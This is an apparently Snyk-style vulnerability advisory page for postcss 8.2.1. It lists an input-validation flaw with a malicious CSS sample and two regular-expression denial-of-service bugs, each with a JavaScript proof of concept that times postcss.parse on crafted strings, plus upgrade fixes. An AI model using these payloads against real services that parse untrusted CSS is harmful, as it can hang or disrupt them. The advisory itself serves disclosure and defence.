postcss@8.2.1 vulnerabilities

Tool for transforming styles with JS plugins

  • latest version

    8.4.49

  • latest non vulnerable version

  • first published

    11 years ago

  • latest version published

    29 days ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the postcss package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Improper Input Validation

    postcss is a PostCSS is a tool for transforming styles with JS plugins.

    Affected versions of this package are vulnerable to Improper Input Validation when parsing external Cascading Style Sheets (CSS) with linters using PostCSS. An attacker can cause discrepancies by injecting malicious CSS rules, such as @font-face{ font:(\r/*);}. This vulnerability is because of an insecure regular expression usage in the RE_BAD_BRACKET variable.

    How to fix Improper Input Validation?

    Upgrade postcss to version 8.4.31 or higher.

    <8.4.31
    • M
    Regular Expression Denial of Service (ReDoS)

    postcss is a PostCSS is a tool for transforming styles with JS plugins.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s*# sourceMappingURL=(.*).

    PoC

    var postcss = require("postcss")
    function build_attack(n) {
        var ret = "a{}"
        for (var i = 0; i < n; i++) {
            ret += "/*# sourceMappingURL="
        }
        return ret + "!";
    }
    
    // postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
    for(var i = 1; i <= 500000; i++) {
        if (i % 1000 == 0) {
            var time = Date.now();
            var attack_str = build_attack(i)
            try{
                postcss.parse(attack_str)
                var time_cost = Date.now() - time;
                console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
                }
            catch(e){
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        }
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade postcss to version 8.2.13, 7.0.36 or higher.

    >=8.0.0 <8.2.13<7.0.36
    • M
    Regular Expression Denial of Service (ReDoS)

    postcss is a PostCSS is a tool for transforming styles with JS plugins.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.

    PoC

    var postcss = require("postcss")
    function build_attack(n) {
        var ret = "a{}/*# sourceMappingURL="
        for (var i = 0; i < n; i++) {
            ret += " "
        }
        return ret + "!";
    }
    
    // postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
    for(var i = 1; i <= 500000; i++) {
        if (i % 10000 == 0) {
            var time = Date.now();
            var attack_str = build_attack(i)
            try{
                postcss.parse(attack_str)
                var time_cost = Date.now() - time;
                console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
                }
            catch(e){
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        }
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade postcss to version 7.0.36, 8.2.10 or higher.

    >=7.0.0 <7.0.36>=8.0.0 <8.2.10